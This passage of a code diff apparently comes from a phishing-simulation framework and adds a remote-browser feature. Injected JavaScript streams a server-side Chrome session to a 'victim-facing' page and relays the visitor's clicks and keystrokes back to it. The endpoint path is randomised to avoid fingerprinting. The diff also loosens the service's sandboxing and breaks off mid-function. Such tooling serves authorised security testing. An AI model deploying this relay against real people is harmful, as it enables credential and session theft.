cssRectChanged := false + if viewportChanged { + lastDevW, lastDevH = devW, devH + oldX, oldY, oldW, oldH := cssRect.X, cssRect.Y, cssRect.W, cssRect.H + requeryCSSRect(devW, devH) + if cssRect.X != oldX || cssRect.Y != oldY || cssRect.W != oldW || cssRect.H != oldH { + cssRectChanged = true + } + } + + // Periodically re-query the element rect to detect size changes caused by + // CSS transitions, popups expanding, or other dynamic layout shifts. + // Skip when a viewport change already triggered a re-query this frame. + if !viewportChanged && cropW > 0 && time.Since(lastRectCheck) >= 250*time.Millisecond { + lastRectCheck = time.Now() + oldX, oldY, oldW, oldH := cssRect.X, cssRect.Y, cssRect.W, cssRect.H + requeryCSSRect(devW, devH) + if cssRect.X != oldX || cssRect.Y != oldY || cssRect.W != oldW || cssRect.H != oldH { + cssRectChanged = true + } + } + + // Recompute scale-aware crop rect whenever JPEG dimensions, viewport, or + // the element's own CSS dimensions change. + if jpegDimsChanged || viewportChanged || cssRectChanged { + lastJpegW, lastJpegH = jpegW, jpegH + + scaleX := float64(jpegW) / devW + scaleY := float64(jpegH) / devH + si.setScale(scaleX, scaleY) + + cropX = int(cssRect.X * scaleX) + cropY = int(cssRect.Y * scaleY) + cropW = int(cssRect.W * scaleX) + cropH = int(cssRect.H * scaleY) + + // Update canvas display size only when the element itself resized, + // not when a viewport change triggers responsive-layout reflow. + if cssRectChanged { + displayW = int(cssRect.W) + displayH = int(cssRect.H) + } + + if cropW <= 0 || cropH <= 0 { + continue + } + // cssWidth/cssHeight: stable CSS display size (locked to initial element + // size, updated only on genuine element resize). width/height are the + // JPEG crop buffer dimensions, which can differ on HiDPI displays. + startPayload, _ := json.Marshal(map[string]interface{}{ + "type": "stream_start", + "name": name, + "width": cropW, + "height": cropH, + "cssWidth": displayW, + "cssHeight": displayH, + }) + connMu.Lock() + conn.WriteMessage(websocket.TextMessage, startPayload) //nolint:errcheck + connMu.Unlock() + } + + if cropW <= 0 || cropH <= 0 { + continue + } + + cropped, err := cropImage(src, cropX, cropY, cropW, cropH, si.quality) + if err != nil { + continue + } + payload, err := json.Marshal(map[string]interface{}{ + "type": "stream_frame", + "name": name, + "frame": cropped, + "width": cropW, + "height": cropH, + }) + if err != nil { + continue + } + connMu.Lock() + writeErr := conn.WriteMessage(websocket.TextMessage, payload) + connMu.Unlock() + if writeErr != nil { + return + } + } + } +} + +func stringField(m map[string]interface{}, key string) string { + v, _ := m[key].(string) + return v +} diff --git a/backend/data/option.go b/backend/data/option.go index 3c637cc..f17fc32 100644 --- a/backend/data/option.go +++ b/backend/data/option.go @@ -26,6 +26,11 @@ const ( OptionKeyProxyCookieName = "proxy_cookie_name" + // OptionKeyRemoteBrowserWSPath is the seeded random path segment used for the + // victim-facing remote browser WebSocket endpoint. Randomised at first startup + // so the endpoint is not fingerprinted by path alone. + OptionKeyRemoteBrowserWSPath = "remote_browser_ws_path" + OptionKeyDisplayMode = "display_mode" OptionValueDisplayModeWhitebox = "whitebox" OptionValueDisplayModeBlackbox = "blackbox" diff --git a/backend/database/remoteBrowser.go b/backend/database/remoteBrowser.go new file mode 100644 index 0000000..0066f30 --- /dev/null +++ b/backend/database/remoteBrowser.go @@ -0,0 +1,34 @@ +package database + +import ( + "time" + + "github.com/google/uuid" + "gorm.io/gorm" +) + +const ( + REMOTE_BROWSER_TABLE = "remote_browsers" +) + +// RemoteBrowser is a gorm data model for saved remote browser scripts. +type RemoteBrowser struct { + ID *uuid.UUID `gorm:"primary_key;not null;unique;type:uuid"` + CreatedAt *time.Time `gorm:"not null;index;"` + UpdatedAt *time.Time `gorm:"not null;index"` + CompanyID *uuid.UUID `gorm:"index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;type:uuid"` + Name string `gorm:"not null;index;uniqueIndex:idx_remote_browsers_unique_name_and_company_id;"` + Description string `gorm:"type:text"` + Script string `gorm:"type:text;not null;"` + Config string `gorm:"type:text;not null;default:'{}'"` + + Company *Company +} + +func (e *RemoteBrowser) Migrate(db *gorm.DB) error { + return UniqueIndexNameAndNullCompanyID(db, "remote_browsers") +} + +func (RemoteBrowser) TableName() string { + return REMOTE_BROWSER_TABLE +} diff --git a/backend/embedded/files.go b/backend/embedded/files.go index 5614e20..e1774de 100644 --- a/backend/embedded/files.go +++ b/backend/embedded/files.go @@ -7,6 +7,9 @@ import ( //go:embed tracking-pixel/sendgrid/open.gif var TrackingPixel []byte +//go:embed remotebrowser_inject.js +var RemoteBrowserInjectJS string + // SigningKey1 is verifing the signed .sig file when updating // //go:embed signingkeys/public1.bin diff --git a/backend/embedded/remotebrowser_inject.js b/backend/embedded/remotebrowser_inject.js new file mode 100644 index 0000000..139bc46 --- /dev/null +++ b/backend/embedded/remotebrowser_inject.js @@ -0,0 +1,197 @@ +(function () { + var wsProto = window.location.protocol === 'https:' ? 'wss:' : 'ws:'; + var ws = new WebSocket(wsProto + '//' + window.location.host + '/__WS_PATH__/__CR_ID__/__RB_ID__'); + var h = {}; // event handlers keyed as "e:eventName" or "stream_start:name" etc. + var streams = {}; // name → {canvas, w, h, cssW, cssH, autoSize, el} + var streamLastStart = {} // name → last stream_start message, so mountStream called late still sizes correctly + + ws.onopen = function () { + ws.send(JSON.stringify({ type: 'viewport', width: window.innerWidth, height: window.innerHeight })); + }; + + // Apply stream_start sizing to an already-mounted stream entry. + function applyStreamStart(st, m) { + st.canvas.width = m.width; + st.canvas.height = m.height; + st.w = m.width; + st.h = m.height; + // Display size = element's true CSS-pixel dimensions. + // Replace cssText entirely so there is no max-width left to fight against. + var dw = m.cssWidth || m.width; + var dh = m.cssHeight || m.height; + st.cssW = dw; + st.cssH = dh; + st.canvas.style.cssText = 'display:block;outline:none;width:' + dw + 'px;height:' + dh + 'px;'; + if (st.autoSize) { + st.el.style.width = dw + 'px'; + st.el.style.height = dh + 'px'; + } + } + + ws.onmessage = function (e) { + try { + var m = JSON.parse(e.data); + + if (m.type === 'event' && m.key) { + (h['e:' + m.key] || []).forEach(function (f) { f(m.value); }); + + } else if (m.type === 'stream_start' && m.name) { + // Always store so mountStream() called inside the handler still gets sized. + streamLastStart[m.name] = m; + var st = streams[m.name]; + if (st) { + // Stream already mounted — this is a resize/reposition update only. + // Do NOT re-fire user handlers; that would call mountStream() again + // and create duplicate canvases. + applyStreamStart(st, m); + } else { + // First stream_start for this name: fire user handlers so the page can + // call mountStream() to attach a canvas. + (h['stream_start:' + m.name] || []).forEach(function (f) { + f(m.cssWidth || m.width, m.cssHeight || m.height); + }); + // If the handler called mountStream() just now, apply sizing immediately. + if (streams[m.name]) { + applyStreamStart(streams[m.name], m); + } + } + + } else if (m.type === 'stream_frame' && m.name) { + var st = streams[m.name]; + if (!st) return; + var img = new Image(); + img.onload = function () { + if (st.canvas.width !== img.naturalWidth) { st.canvas.width = img.naturalWidth; st.w = img.naturalWidth; } + if (st.canvas.height !== img.naturalHeight) { st.canvas.height = img.naturalHeight; st.h = img.naturalHeight; } + st.canvas.getContext('2d').drawImage(img, 0, 0); + }; + img.src = 'data:image/jpeg;base64,' + m.frame; + + } else if (m.type === 'done') { + (h['e:done'] || []).forEach(function (f) { f(); }); + + } else if (m.type === 'stream_stop' && m.name) { + // Remove the canvas from DOM and clear the tracking entry so the next + // stream_start for the same name triggers a fresh mountStream() call. + // Without this, a stop→start cycle (e.g. element removed and re-added) + // leaves a stale canvas in `streams` that silently receives frames while + // subsequent mountStream() calls add new canvases on top. + var stStopped = streams[m.name]; + if (stStopped && stStopped.canvas && stStopped.canvas.parentNode) { + stStopped.canvas.parentNode.removeChild(stStopped.canvas); + } + delete streams[m.name]; + delete streamLastStart[m.name]; + (h['stream_stop:' + m.name] || []).forEach(function (f) { f(); }); + } + } catch (ex) {} + }; + + window.remoteBrowser = { + on: function (ev, nameOrFn, fn) { + if (typeof nameOrFn === 'function') { + h['e:' + ev] = h['e:' + ev] || []; + h['e:' + ev].push(nameOrFn); + } else { + var k = ev + ':' + nameOrFn; + h[k] = h[k] || []; + h[k].push(fn); + } + }, + + send: function (ev, data) { + if (ws.readyState === 1) ws.send(JSON.stringify({ event: ev, data: data || {} })); + }, + + mountStream: function (name, el, opts) { + // stream_start fires on every viewport/JPEG-dimension change; guard against + // appending a second canvas if the stream is already mounted. + if (streams[name]) return; + + var autoSize = !!(opts && opts.autoSize); + var allowScroll = !!(opts && opts.scroll); + var allowArrows = !!(opts && opts.arrowKeys); + var ARROW_KEYS = { ArrowUp: 1, ArrowDown: 1, ArrowLeft: 1, ArrowRight: 1 }; + + var canvas = document.createElement('canvas'); + canvas.style.cssText = 'display:block;outline:none;'; + canvas.setAttribute('tabindex', '0'); + el.appendChild(canvas); + + var st = { canvas: canvas, w: 0, h: 0, autoSize: autoSize, el: el }; + streams[name] = st; + + // If stream_start already arrived (e.g. mountStream called inside the handler), + // apply the stored sizing now so the canvas has the right CSS dimensions immediately. + if (streamLastStart[name]) { + applyStreamStart(st, streamLastStart[name]); + } + + function coords(e) { + var r = canvas.getBoundingClientRect(); + var sx = st.w > 0 ? st.w / r.width : 1; + var sy = st.h > 0 ? st.h / r.height : 1; + return { x: Math.round((e.clientX - r.left) * sx), y: Math.round((e.clientY - r.top) * sy) }; + } + + function snd(o) { + if (ws.readyState === 1) ws.send(JSON.stringify(o)); + } + + canvas.addEventListener('mousedown', function (e) { + e.preventDefault(); + canvas.focus(); + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'mousedown', x: p.x, y: p.y, + button: e.button === 2 ? 'right' : 'left' }); + }); + + canvas.addEventListener('mouseup', function (e) { + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'mouseup', x: p.x, y: p.y, + button: e.button === 2 ? 'right' : 'left' }); + }); + + canvas.addEventListener('mousemove', function (e) { + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'mousemove', x: p.x, y: p.y }); + }); + + // Scroll: disabled by default to avoid accidentally scrolling the remote browser. + // Enable with { scroll: true } in mountStream options. + if (allowScroll) { + canvas.addEventListener('wheel', function (e) { + e.preventDefault(); + var p = coords(e); + snd({ type: 'stream_input', name: name, action: 'scroll', x: p.x, y: p.y, + deltaX: e.deltaX, deltaY: e.deltaY }); + }, { passive: false }); + } + + // Arrow keys: always preventDefault (prevent page scroll when canvas is focused), + // but only forwarded to the remote browser when { arrowKeys: true }. + canvas.addEventListener('keydown', function (e) { + var isArrow = !!ARROW_KEYS[e.key]; + e.preventDefault(); + if (isArrow && !allowArrows) return; + snd({ type: 'stream_input', name: name, action: 'keydown', + key: e.key, code: e.code, keyCode: e.keyCode, + modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0), + charText: (e.ctrlKey || e.metaKey) ? '' : (e.key === 'Enter' ? '\r' : e.key.length === 1 ? e.key : '') }); + }); + + canvas.addEventListener('keyup', function (e) { + var isArrow = !!ARROW_KEYS[e.key]; + e.preventDefault(); + if (isArrow && !allowArrows) return; + snd({ type: 'stream_input', name: name, action: 'keyup', + key: e.key, code: e.code, keyCode: e.keyCode, + modifiers: (e.altKey ? 1 : 0) | (e.ctrlKey ? 2 : 0) | (e.metaKey ? 4 : 0) | (e.shiftKey ? 8 : 0) }); + }); + + canvas.addEventListener('contextmenu', function (e) { e.preventDefault(); }); + } + }; + + window.rb = window.remoteBrowser; +})(); diff --git a/backend/go.mod b/backend/go.mod index bc9bf3b..0815fd3 100644 --- a/backend/go.mod +++ b/backend/go.mod @@ -12,13 +12,16 @@ require ( github.com/charmbracelet/bubbles v0.20.0 github.com/charmbracelet/bubbletea v1.3.4 github.com/charmbracelet/lipgloss v1.1.0 + github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c github.com/enetx/surf v1.0.141 github.com/exaring/ja4plus v0.0.2 github.com/fatih/color v1.15.0 github.com/gin-contrib/zap v1.1.4 github.com/gin-gonic/gin v1.10.0 github.com/go-errors/errors v1.5.1 + github.com/go-rod/rod v0.116.2 github.com/google/uuid v1.3.1 + github.com/gorilla/websocket v1.5.3 github.com/klauspost/compress v1.18.1 github.com/oapi-codegen/nullable v1.1.0 github.com/pquerna/otp v1.4.0 @@ -50,6 +53,7 @@ require ( github.com/cloudwego/base64x v0.1.4 // indirect github.com/cloudwego/iasm v0.2.0 // indirect github.com/davecgh/go-spew v1.1.1 // indirect + github.com/dlclark/regexp2 v1.11.4 // indirect github.com/enetx/g v1.0.194 // indirect github.com/enetx/http v1.0.19 // indirect github.com/enetx/http2 v1.0.20 // indirect @@ -64,6 +68,7 @@ require ( github.com/go-playground/locales v0.14.1 // indirect github.com/go-playground/universal-translator v0.18.1 // indirect github.com/go-playground/validator/v10 v10.22.0 // indirect + github.com/go-sourcemap/sourcemap v2.1.3+incompatible // indirect github.com/go-task/slim-sprig/v3 v3.0.0 // indirect github.com/goccy/go-json v0.10.3 // indirect github.com/golang-jwt/jwt/v5 v5.2.2 // indirect @@ -101,6 +106,11 @@ require ( github.com/wzshiming/socks5 v0.6.0 // indirect github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e // indirect github.com/yeqown/reedsolomon v1.0.0 // indirect + github.com/ysmood/fetchup v0.2.3 // indirect + github.com/ysmood/goob v0.4.0 // indirect + github.com/ysmood/got v0.40.0 // indirect + github.com/ysmood/gson v0.7.3 // indirect + github.com/ysmood/leakless v0.9.0 // indirect github.com/zeebo/blake3 v0.2.3 // indirect go.uber.org/mock v0.6.0 // indirect go.uber.org/multierr v1.11.0 // indirect diff --git a/backend/go.sum b/backend/go.sum index e90a2da..8362dcd 100644 --- a/backend/go.sum +++ b/backend/go.sum @@ -45,6 +45,10 @@ github.com/cloudwego/iasm v0.2.0/go.mod h1:8rXZaNYT2n95jn+zTI1sDr+IgcD2GVs0nlbbQ github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= +github.com/dlclark/regexp2 v1.11.4 h1:rPYF9/LECdNymJufQKmri9gV604RvvABwgOA8un7yAo= +github.com/dlclark/regexp2 v1.11.4/go.mod h1:DHkYz0B9wPfa6wondMfaivmHpzrQ3v9q8cnmRbL6yW8= +github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c h1:hIlkLbQ+tYoUqlG42LnxwGcohL5jaGqD8mGeJWavm8A= +github.com/dop251/goja v0.0.0-20260226184354-913bd86fb70c/go.mod h1:MxLav0peU43GgvwVgNbLAj1s/bSGboKkhuULvq/7hx4= github.com/enetx/g v1.0.194 h1:lI/eicj+Qdcdt1xBUhaHv3M/ujN4v+WXYZDZYD1Dxuo= github.com/enetx/g v1.0.194/go.mod h1:B3YULbT/hAx9+p2Q8GHrsTmjjM19iz1Rcdz3Y9+kSg4= github.com/enetx/http v1.0.19 h1:4W97CyqKrPiR16wEm6UOesqNrt8l4RsVMjZHz6+I84E= @@ -95,6 +99,10 @@ github.com/go-playground/universal-translator v0.18.1 h1:Bcnm0ZwsGyWbCzImXv+pAJn github.com/go-playground/universal-translator v0.18.1/go.mod h1:xekY+UJKNuX9WP91TpwSH2VMlDf28Uj24BCp08ZFTUY= github.com/go-playground/validator/v10 v10.22.0 h1:k6HsTZ0sTnROkhS//R0O+55JgM8C4Bx7ia+JlgcnOao= github.com/go-playground/validator/v10 v10.22.0/go.mod h1:dbuPbCMFw/DrkbEynArYaCwl3amGuJotoKCe95atGMM= +github.com/go-rod/rod v0.116.2 h1:A5t2Ky2A+5eD/ZJQr1EfsQSe5rms5Xof/qj296e+ZqA= +github.com/go-rod/rod v0.116.2/go.mod h1:H+CMO9SCNc2TJ2WfrG+pKhITz57uGNYU43qYHh438Mg= +github.com/go-sourcemap/sourcemap v2.1.3+incompatible h1:W1iEw64niKVGogNgBN3ePyLFfuisuzeidWPMPWmECqU= +github.com/go-sourcemap/sourcemap v2.1.3+incompatible/go.mod h1:F8jJfvm2KbVjc5NqelyYJmf/v5J0dwNLS2mL4sNA1Jg= github.com/go-task/slim-sprig/v3 v3.0.0 h1:sUs3vkvUymDpBKi3qH1YSqBQk9+9D/8M2mN1vB6EwHI= github.com/go-task/slim-sprig/v3 v3.0.0/go.mod h1:W848ghGpv3Qj3dhTPRyJypKRiqCdHZiAzKg9hl15HA8= github.com/goccy/go-json v0.10.3 h1:KZ5WoDbxAIgm2HNbYckL0se1fHD6rz5j4ywS6ebzDqA= @@ -112,6 +120,8 @@ github.com/google/pprof v0.0.0-20250403155104-27863c87afa6 h1:BHT72Gu3keYf3ZEu2J github.com/google/pprof v0.0.0-20250403155104-27863c87afa6/go.mod h1:boTsfXsheKC2y+lKOCMpSfarhxDeIzfZG1jqGcPl3cA= github.com/google/uuid v1.3.1 h1:KjJaJ9iWZ3jOFZIf1Lqf4laDRCasjl0BCmnEGxkdLb4= github.com/google/uuid v1.3.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= +github.com/gorilla/websocket v1.5.3 h1:saDtZ6Pbx/0u+bgYQ3q96pZgCzfhKXGPqt7kZ72aNNg= +github.com/gorilla/websocket v1.5.3/go.mod h1:YR8l580nyteQvAITg2hZ9XVh4b55+EU/adAjf1fMHhE= github.com/jinzhu/inflection v1.0.0 h1:K317FqzuhWc8YvSVlFMCCUb36O/S9MCKRDI7QkRKD/E= github.com/jinzhu/inflection v1.0.0/go.mod h1:h+uFLlag+Qp1Va5pdKtLDYj+kHp5pxUVkryuEj+Srlc= github.com/jinzhu/now v1.1.5 h1:/o9tlHleP7gOFmsnYNz3RGnqzefHA47wQpKrrdTIwXQ= @@ -227,6 +237,20 @@ github.com/yeqown/go-qrcode/v2 v2.2.4 h1:cXdYlrhzHzVAnJHiwr/T6lAUmS9MtEStjEZBjAr github.com/yeqown/go-qrcode/v2 v2.2.4/go.mod h1:uHpt9CM0V1HeXLz+Wg5MN50/sI/fQhfkZlOM+cOTHxw= github.com/yeqown/reedsolomon v1.0.0 h1:x1h/Ej/uJnNu8jaX7GLHBWmZKCAWjEJTetkqaabr4B0= github.com/yeqown/reedsolomon v1.0.0/go.mod h1:P76zpcn2TCuL0ul1Fso373qHRc69LKwAw/Iy6g1WiiM= +github.com/ysmood/fetchup v0.2.3 h1:ulX+SonA0Vma5zUFXtv52Kzip/xe7aj4vqT5AJwQ+ZQ= +github.com/ysmood/fetchup v0.2.3/go.mod h1:xhibcRKziSvol0H1/pj33dnKrYyI2ebIvz5cOOkYGns= +github.com/ysmood/goob v0.4.0 h1:HsxXhyLBeGzWXnqVKtmT9qM7EuVs/XOgkX7T6r1o1AQ= +github.com/ysmood/goob v0.4.0/go.mod h1:u6yx7ZhS4Exf2MwciFr6nIM8knHQIE22lFpWHnfql18= +github.com/ysmood/gop v0.2.0 h1:+tFrG0TWPxT6p9ZaZs+VY+opCvHU8/3Fk6BaNv6kqKg= +github.com/ysmood/gop v0.2.0/go.mod h1:rr5z2z27oGEbyB787hpEcx4ab8cCiPnKxn0SUHt6xzk= +github.com/ysmood/got v0.40.0 h1:ZQk1B55zIvS7zflRrkGfPDrPG3d7+JOza1ZkNxcc74Q= +github.com/ysmood/got v0.40.0/go.mod h1:W7DdpuX6skL3NszLmAsC5hT7JAhuLZhByVzHTq874Qg= +github.com/ysmood/gotrace v0.6.0 h1:SyI1d4jclswLhg7SWTL6os3L1WOKeNn/ZtzVQF8QmdY= +github.com/ysmood/gotrace v0.6.0/go.mod h1:TzhIG7nHDry5//eYZDYcTzuJLYQIkykJzCRIo4/dzQM= +github.com/ysmood/gson v0.7.3 h1:QFkWbTH8MxyUTKPkVWAENJhxqdBa4lYTQWqZCiLG6kE= +github.com/ysmood/gson v0.7.3/go.mod h1:3Kzs5zDl21g5F/BlLTNcuAGAYLKt2lV5G8D1zF3RNmg= +github.com/ysmood/leakless v0.9.0 h1:qxCG5VirSBvmi3uynXFkcnLMzkphdh3xx5FtrORwDCU= +github.com/ysmood/leakless v0.9.0/go.mod h1:R8iAXPRaG97QJwqxs74RdwzcRHT1SWCGTNqY8q0JvMQ= github.com/yuin/goldmark v1.4.13/go.mod h1:6yULJ656Px+3vBD8DxQVa3kxgyrAnzto9xy5taEt/CY= github.com/zeebo/assert v1.1.0 h1:hU1L1vLTHsnO8x8c9KAR5GmM5QscxHg5RNU5z5qbUWY= github.com/zeebo/assert v1.1.0/go.mod h1:Pq9JiuJQpG8JLJdtkwrJESF0Foym2/D9XMU5ciN/wJ0= @@ -308,6 +332,8 @@ google.golang.org/protobuf v1.36.7/go.mod h1:jduwjTPXsFjZGTmRluh+L6NjiWu7pchiJ2/ gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127 h1:qIbj1fsPNlZgppZ+VLlY7N33q108Sa+fhmuc+sWQYwY= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= +gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/backend/install/installer.go b/backend/install/installer.go index 783a67d..964fda6 100644 --- a/backend/install/installer.go +++ b/backend/install/installer.go @@ -374,6 +374,8 @@ func createUserAndGroup() error { "-r", "-g", serviceGroup, "-s", "/bin/false", + "-m", + "-d", "/var/lib/"+serviceUser, serviceUser, ) if err := cmd.Run(); err != nil { diff --git a/backend/install/interactive.go b/backend/install/interactive.go index e7995e3..a6bf147 100644 --- a/backend/install/interactive.go +++ b/backend/install/interactive.go @@ -240,7 +240,8 @@ func (m ConfigModel) renderAdvancedSections(b *strings.Builder) { {"Database Configuration", 6, 8}, {"TLS Configuration", 8, 10}, {"Logging Configuration", 10, 12}, - {"Security Configuration", 12, len(m.inputs)}, + {"Security Configuration", 12, 15}, + {"Remote Browser", 15, len(m.inputs)}, } currentSection := -1 @@ -324,6 +325,10 @@ func (m *ConfigModel) createAdvancedInputs() []InputWithHelp { {"Admin allowed IPs", "", "192.168.1.0/24,10.0.0.1", "comma-separated list of IP/CIDR ranges allowed to access admin (empty for all)"}, {"Trusted proxies", "", "192.168.1.1,10.0.0.1", "comma-separated list of trusted proxy IPs/CIDR ranges"}, {"Trusted IP header", config.DefaultTrustedIPHeader, "X-Real-IP", "header name to check for real client IP from trusted proxies"}, + + // remote browser configuration + {"Enable remote browser", "false", "true/false", "enable the remote browser feature - only enable when all operators are fully trusted"}, + {"Chrome binary path", "", "/usr/bin/chromium-browser", "path to Chrome/Chromium binary (leave empty to use auto-downloaded Chromium)"}, } for i, p := range prompts { @@ -458,6 +463,13 @@ func (m *ConfigModel) applyAdvancedConfig() error { m.config.IPSecurity.TrustedProxies = trustedProxiesList m.config.IPSecurity.TrustedIPHeader = trustedIPHeader + // remote browser configuration + rbEnabled := strings.ToLower(getValueOrDefault(m.inputs[15].Value(), "false")) == "true" + m.config.SetRemoteBrowserEnabled(rbEnabled) + if execPath := m.inputs[16].Value(); execPath != "" { + m.config.SetRemoteBrowserExecPath(execPath) + } + return nil } diff --git a/backend/install/systemd.service b/backend/install/systemd.service index 7b0fba8..ef75324 100644 --- a/backend/install/systemd.service +++ b/backend/install/systemd.service @@ -14,11 +14,9 @@ PrivateTmp=true NoNewPrivileges=true ProtectSystem=full ProtectHome=true -RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX -RestrictNamespaces=true +RestrictAddressFamilies=AF_INET AF_INET6 AF_UNIX AF_NETLINK RestrictRealtime=true RestrictSUIDSGID=true -MemoryDenyWriteExecute=true Restart=always RestartSec=5s StartLimitBurst=3 diff --git a/backend/main.go b/backend/main.go index 220de17..863dda9 100644 --- a/backend/main.go +++ b/backend/main.go @@ -322,6 +322,13 @@ func main() { ) } adminRouter.Use(middlewares.IPLimiter) + + // read the seeded victim WS path for the remote browser endpoint + rbWSPath := "rbws" // fallback - real value is seeded at first startup + if opt, err := repositories.Option.GetByKey(context.Background(), data.OptionKeyRemoteBrowserWSPath); err == nil { + rbWSPath = opt.Value.String() + } + adminServer := app.NewAdministrationServer( adminRouter, controllers, @@ -363,6 +370,7 @@ func main() { repositories, logger, certMagicConfig, + rbWSPath, ) var r *gin.Engine diff --git a/backend/model/remoteBrowser.go b/backend/model/remoteBrowser.go new file mode 100644 index 0000000..0d555d5 --- /dev/null +++ b/backend/model/remoteBrowser.go @@ -0,0 +1,107 @@ +package model + +import ( + "encoding/json" + "fmt" + "time" + + "github.com/google/uuid" + "github.com/oapi-codegen/nullable" + "github.com/phishingclub/phishingclub/validate" + "github.com/phishingclub/phishingclub/vo" +) + +// RemoteBrowserConfig is the API-level config for a remote browser session. +type RemoteBrowserConfig struct { + Mode string `json:"mode"` // "local" | "remote" + Remote string `json:"remote"` // DevTools WS URL (mode=remote only) + Proxy string `json:"proxy"` // socks5:// or http:// + Headless bool `json:"headless"` // run Chrome headless (mode=local) + Timeout int `json:"timeout"` // ms; 0 = default (60000) + Lang string `json:"lang"` // BCP 47 locale e.g. "da-DK" (mode=local) + ExtraFlags []string `json:"extraFlags"` // additional Chrome CLI flags (mode=local) +} + +// RemoteBrowser is a saved remote browser script with its connection config. +type RemoteBrowser struct { + ID nullable.Nullable[uuid.UUID] `json:"id"` + CreatedAt *time.Time `json:"createdAt"` + UpdatedAt *time.Time `json:"updatedAt"` + CompanyID nullable.Nullable[uuid.UUID] `json:"companyID"` + Name nullable.Nullable[vo.String64] `json:"name"` + Description nullable.Nullable[vo.OptionalString1024] `json:"description"` + Script nullable.Nullable[vo.String1MB] `json:"script"` + Config nullable.Nullable[RemoteBrowserConfig] `json:"config"` + + Company *Company `json:"-"` +} + +// Validate checks required fields and config values. +func (m *RemoteBrowser) Validate() error { + if err := validate.NullableFieldRequired("name", m.Name); err != nil { + return err + } + if err := validate.NullableFieldRequired("script", m.Script); err != nil { + return err + } + if m.Config.IsSpecified() { + if cfg, err := m.Config.Get(); err == nil { + if cfg.Mode != "" && cfg.Mode != "local" && cfg.Mode != "remote" { + return fmt.Errorf("config.mode must be 'local' or 'remote'") + } + if cfg.Mode == "remote" && cfg.Remote == "" { + return fmt.Errorf("config.remote is required when mode is 'remote'") + } + } + } + return nil +} + +// ToDBMap returns the fields that should be persisted. +func (m *RemoteBrowser) ToDBMap() map[string]any { + dbMap := map[string]any{} + if m.Name.IsSpecified() { + dbMap["name"] = nil + if name, err := m.Name.Get(); err == nil { + dbMap["name"] = name.String() + } + } + if m.Description.IsSpecified() { + dbMap["description"] = nil + if description, err := m.Description.Get(); err == nil { + dbMap["description"] = description.String() + } + } + if m.Script.IsSpecified() { + dbMap["script"] = nil + if script, err := m.Script.Get(); err == nil { + dbMap["script"] = script.String() + } + } + if m.Config.IsSpecified() { + dbMap["config"] = "" + if cfg, err := m.Config.Get(); err == nil { + if b, err := json.Marshal(cfg); err == nil { + dbMap["config"] = string(b) + } + } + } + if m.CompanyID.IsSpecified() { + if m.CompanyID.IsNull() { + dbMap["company_id"] = nil + } else { + dbMap["company_id"] = m.CompanyID.MustGet() + } + } + return dbMap +} + +// RemoteBrowserOverview is a lightweight listing model. +type RemoteBrowserOverview struct { + ID uuid.UUID `json:"id,omitempty"` + CreatedAt *time.Time `json:"createdAt"` + UpdatedAt *time.Time `json:"updatedAt"` + Name string `json:"name"` + Description string `json:"description"` + CompanyID *uuid.UUID `json:"companyID"` +} diff --git a/backend/remotebrowser/browser.go b/backend/remotebrowser/browser.go new file mode 100644 index 0000000..b6dce62 --- /dev/null +++ b/backend/remotebrowser/browser.go @@ -0,0 +1,1186 @@ +package remotebrowser + +import ( + "context" + "errors" + "fmt" + "regexp" + "strings" + "sync" + "time" + + "github.com/dop251/goja" + "github.com/go-rod/rod" + "github.com/go-rod/rod/lib/input" + "github.com/go-rod/rod/lib/proto" +) + +// RegisterBrowserBindings wires up all rod actions as callable JS functions +// on the provided target object. All actions block until completion. +// emitter may be nil (e.g. in withTimeout sub-sessions); screenshots and debug logs +// are silently dropped when nil. debug adds before/after log lines for every action. +// +// Debug symbol legend: +// +// → action starting ✓ action done … waiting ? reading = result value +func RegisterBrowserBindings(vm *goja.Runtime, pc *goja.Object, page *rod.Page, emitter *channelEmitter, debug bool, queryTimeout int) { + must := func(err error) { + if err != nil { + panic(vm.NewGoError(err)) + } + } + + // argStr returns the string value of a goja argument, or "" for undefined/null. + argStr := func(v goja.Value) string { + if goja.IsUndefined(v) || goja.IsNull(v) { + return "" + } + return v.String() + } + + dbg := func(msg string) { + if debug && emitter != nil { + emitter.log("[dbg] " + msg) + } + } + + // readPage returns a page for read-only CDP queries (getNodeCount, getText, + // evaluate, screenshot, …). When queryTimeout > 0 it is bounded so a stalled + // browser can't freeze the goja listen loop. 0 means no extra timeout. + readPage := func() (*rod.Page, func()) { + if queryTimeout > 0 { + tCtx, cancel := context.WithTimeout(page.GetContext(), 